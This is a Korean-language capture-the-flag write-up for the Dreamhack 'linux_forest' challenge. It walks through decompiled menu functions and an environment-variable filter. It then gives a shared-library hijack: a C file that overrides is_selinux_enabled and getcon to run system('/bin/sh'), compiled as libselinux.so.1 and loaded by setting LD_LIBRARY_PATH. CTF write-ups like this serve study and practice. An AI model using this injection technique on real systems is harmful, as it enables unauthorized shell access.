[Dreamhack] linux_forest

김성진·2022년 7월 19일
0

Dreamhack_System

목록 보기
43/44

📒 Description & Checksec

올 그린은 볼 때 마다 항상 설레는 것 같다.


📒 Cpp Code with IDA

분석을 하기에 앞서 실행을 먼저 해보도록 하자.
1은 명령을 실행, 2는 환경변수 관리, 3은 임시 디렉토리 생성, 4는 그 디렉토리 위에 파일을 만들기
이정도로 생각할 수 있겠다.

📖 sub_2178

__int64 sub_2178()
{
  void (*v0)(void); // rax
  int v2; // [rsp-Ch] [rbp-14h]

  while ( 1 )
  {
    sub_4216();
    v2 = sub_434E();
    if ( !v2 )
      break;
    v0 = (void (*)(void))sub_2D76((unsigned int)(v2 - 1));
    v0();
  }
  return 0LL;
}

실제로 보면 v0는 함수포인터 sub_2D76에서 우리가 입력한 v2 - 1을 하여 그 함수를 실행한다.
참조하는 함수 주소는 위와 같다.

📖 sub_23E2

unsigned __int64 sub_23E2()
{
  __int64 v0; // rax
  __int64 v1; // rax
  __int64 v2; // rax
  __int64 v3; // rax
  __int64 v4; // rax
  char v6; // [rsp+Fh] [rbp-81h] BYREF
  char v7[32]; // [rsp+10h] [rbp-80h] BYREF
  char v8[32]; // [rsp+30h] [rbp-60h] BYREF
  char v9[40]; // [rsp+50h] [rbp-40h] BYREF
  unsigned __int64 v10; // [rsp+78h] [rbp-18h]

  v10 = __readfsqword(0x28u);
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "p. ls");
  v1 = std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  v2 = std::operator<<<std::char_traits<char>>(v1, "i. id");
  std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
  sub_438B(v7);
  if ( std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(v7) == 1 )
  {
    if ( (unsigned __int8)sub_339B(v7, "p") )
    {
      if ( (unsigned __int8)sub_33C9(&unk_90A0, &unk_581E) )
      {
        v3 = std::operator<<<char>(&std::cout, &unk_90A0);
        std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
        std::allocator<char>::allocator(&v6);
        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(
          v9,
          "ls -al -- ",
          &v6);
        sub_33F5(v8, v9, &unk_90A0);
        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(v7, v8);
        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v8);
        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v9);
        std::allocator<char>::~allocator(&v6);
      }
    }
    else if ( (unsigned __int8)sub_339B(v7, "i") )
    {
      std::allocator<char>::allocator(&v6);
      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v9, "id", &v6);
      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(v7, v9);
      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v9);
      std::allocator<char>::~allocator(&v6);
    }
    v4 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(v7);
    sub_23C3(v4);
  }
  else
  {
    sub_4406("try 'w'.");
  }
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v7);
  return __readfsqword(0x28u) ^ v10;
}

using namespace std;가 시급해보인다.
우선 p를 입력하면 ls가, i 를 입력하면 id가 실행되어야 한다. 하지만 ls의 경우 현재 임시 디렉토리의 내용을 출력해주므로, 임시 디렉토리를 만들지 않았다면 실행이 안된다.

📖 sub_2688

unsigned __int64 sub_2688()
{
  const char *v0; // rax
  char *v1; // rax
  __int64 v2; // rax
  const char *v4; // rbx
  const char *v5; // rax
  __int64 v6; // rax
  __int64 v7; // rbx
  const char *v8; // rax
  char *v9; // rax
  __int64 v10; // rax
  int v12; // [rsp+Ch] [rbp-64h]
  char v13[32]; // [rsp+10h] [rbp-60h] BYREF
  char v14[40]; // [rsp+30h] [rbp-40h] BYREF
  unsigned __int64 v15; // [rsp+58h] [rbp-18h]

  v15 = __readfsqword(0x28u);
  std::operator<<<std::char_traits<char>>(&std::cout, "1. get\n2. set\n");
  v12 = sub_434E();
  if ( v12 == 1 || v12 == 2 )
  {
    if ( v12 == 1 )
    {
      sub_438B(v14);
      v0 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(v14);
      v1 = getenv(v0);
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, v1);
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v14);
    }
    else
    {
      sub_438B(v13);
      if ( (unsigned __int8)sub_21B1(v13, &unk_9080) || (unsigned __int8)sub_2224(v13) != 1 )
      {
        sub_3087(v14, v13, " is a banned keyword.");
        sub_4456(v14);
      }
      else
      {
        sub_438B(v14);
        v4 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(v14);
        v5 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(v13);
        setenv(v5, v4, 1);
        v6 = std::operator<<<char>(&std::cout, v13);
        v7 = std::operator<<<std::char_traits<char>>(v6, "=");
        v8 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(v13);
        v9 = getenv(v8);
        v10 = std::operator<<<std::char_traits<char>>(v7, v9);
        std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
      }
      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v14);
      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v13);
    }
  }
  else
  {
    sub_43D0();
  }
  return __readfsqword(0x28u) ^ v15;
}

여기서 꽤 흥미로운 것을 확인할 수 있는데, 우리가 설정하지 못하는 환경변수가 존재한다는 것이다.
근데 저 부분을 분석할 실력이 없어 정확히 어떤 문자열들이 밴 되는 지는 파악하지 못하였다. 하지만 이렇게 유의미한 것들이 필터링 되며, 필터링을 우회할 수 있는 키워드도 발견했다. cpp 분석을 어떻게 해야하지 ..

LD_LIBRARY_PATH를 tmp폴더에 만든 라이브러리 파일로 올리고, id 명령이 실행될 때 들어가지는 함수들을 바꿔치기 하면 문제는 풀릴 것이다.


📒 Exploit

0x0000000000401050  write@plt
0x0000000000401060  read@plt
0x0000000000401070  setvbuf@plt
0x0000000000401080  exit@plt
0x00007ffff7fd0080  free@plt
0x00007ffff7fd0090  _dl_catch_exception@plt
0x00007ffff7fd00a0  malloc@plt
0x00007ffff7fd00b0  _dl_signal_exception@plt
0x00007ffff7fd00c0  calloc@plt
0x00007ffff7fd00d0  realloc@plt
0x00007ffff7fd00e0  _dl_signal_error@plt
0x00007ffff7fd00f0  _dl_catch_error@plt
0x00007ffff7fcd690  __vdso_gettimeofday
0x00007ffff7fcd690  gettimeofday
0x00007ffff7fcd9e0  __vdso_time
0x00007ffff7fcd9e0  time
0x00007ffff7fcda10  __vdso_clock_gettime
0x00007ffff7fcda10  clock_gettime
0x00007ffff7fcde30  __vdso_clock_getres
0x00007ffff7fcde30  clock_getres
0x00007ffff7fcde90  __vdso_getcpu
0x00007ffff7fcde90  getcpu
0x00007ffff7fcdec0  __vdso_sgx_enter_enclave
0x00007ffff7de3300  __libpthread_freeres@plt
0x00007ffff7de3310  malloc@plt
0x00007ffff7de3320  __libdl_freeres@plt
0x00007ffff7de3330  free@plt
0x00007ffff7de3340  *ABS*+0xa0480@plt
0x00007ffff7de3350  *ABS*+0x9f670@plt
0x00007ffff7de3360  *ABS*+0xbc7e0@plt
0x00007ffff7de3370  realloc@plt
0x00007ffff7de3380  *ABS*+0xa08a0@plt
0x00007ffff7de3390  *ABS*+0xa1c90@plt
0x00007ffff7de33a0  *ABS*+0xbcd20@plt
0x00007ffff7de33b0  *ABS*+0xa06f0@plt
0x00007ffff7de33c0  __tls_get_addr@plt
0x00007ffff7de33d0  *ABS*+0xa0750@plt
0x00007ffff7de33e0  *ABS*+0x9fae0@plt
0x00007ffff7de33f0  *ABS*+0xbc930@plt
0x00007ffff7de3400  memalign@plt
0x00007ffff7de3410  _dl_exception_create@plt
0x00007ffff7de3420  *ABS*+0xa03d0@plt
0x00007ffff7de3430  *ABS*+0xa0850@plt
0x00007ffff7de3440  *ABS*+0xa8bb0@plt
0x00007ffff7de3450  __tunable_get_val@plt
0x00007ffff7de3460  *ABS*+0x9f630@plt
0x00007ffff7de3470  *ABS*+0x9f100@plt
0x00007ffff7de3480  *ABS*+0x9f820@plt
0x00007ffff7de3490  *ABS*+0xbc860@plt
0x00007ffff7de34a0  *ABS*+0xbcdb0@plt
0x00007ffff7de34b0  *ABS*+0xbcdb0@plt
0x00007ffff7de34c0  *ABS*+0xbdf50@plt
0x00007ffff7de34d0  *ABS*+0xa0950@plt
0x00007ffff7de34e0  *ABS*+0x9f1d0@plt
0x00007ffff7de34f0  *ABS*+0xbcce0@plt
0x00007ffff7de3500  *ABS*+0xa0800@plt
0x00007ffff7de3510  _dl_find_dso_for_object@plt
0x00007ffff7de3520  *ABS*+0x9f230@plt
0x00007ffff7de3530  *ABS*+0x9f670@plt
0x00007ffff7de3540  *ABS*+0xbc7e0@plt
0x00007ffff7de3550  calloc@plt
0x00007ffff7de3560  *ABS*+0xa0540@plt
0x00007ffff7de3570  *ABS*+0x9f150@plt
0x00007ffff7de3580  *ABS*+0x9f710@plt
0x00007ffff7de3590  *ABS*+0xa0410@plt
0x00007ffff7de35a0  *ABS*+0xa05e0@plt
0x00007ffff7de35b0  *ABS*+0xbc820@plt
0x00007ffff7de35c0  *ABS*+0xbcce0@plt
0x00007ffff7de35d0  *ABS*+0xa1c50@plt
0x00007ffff7de35e0  *ABS*+0x9f7e0@plt
0x00007ffff7de35f0  *ABS*+0x9f0a0@plt
0x00007ffff7de3600  *ABS*+0xa07b0@plt
0x00007ffff7de3610  *ABS*+0x9f780@plt
0x00007ffff7de3620  *ABS*+0xa0480@plt

함수 목록이다. 처음에는 free와 malloc 같은 함수들 (libc.so.6)로 시도하였지만 풀리지 않았다.
그래서 그 안에서 실행되는 is_selinux_enabled와 getcon 두 함수로 진행하였다.


📒 Exploit

📖 test.c

#include <stdlib.h>

int is_selinux_enabled(){
	system("/bin/sh");
}

void getcon(){
	system("/bin/sh");
}

📖 compile

gcc -o libselinux.so.1 test.c -fPIC -shared

공유 라이브러리로 컴파일 하였다.

📖 base64

base64 libselinux.so.1

문제는 base64 명령을 하게 되면 사진에서 보이듯이 개행이 되어 출력이 된다. 그래서 실행이 제대로 되지 않는다.
https://bfotool.com/ko/remove-line-breaks
그래서 위의 사이트를 이용했다.

따로 파이썬 스크립트를 짜지 않고,

  • 3을 입력하고 tmp directory 만들기
  • 4를 입력하여 이름은 libselinux.so.1로 하고 base64로 인코딩된 공유 라이브러리 데이터 집어넣기
  • 2를 이용하여 LD_LIBRARY_PATH를 임시 폴더의 공유폴더로 설정
  • 1을 이용하여 id 실행

이러면 따진다. 끝.

profile
Today I Learned

0개의 댓글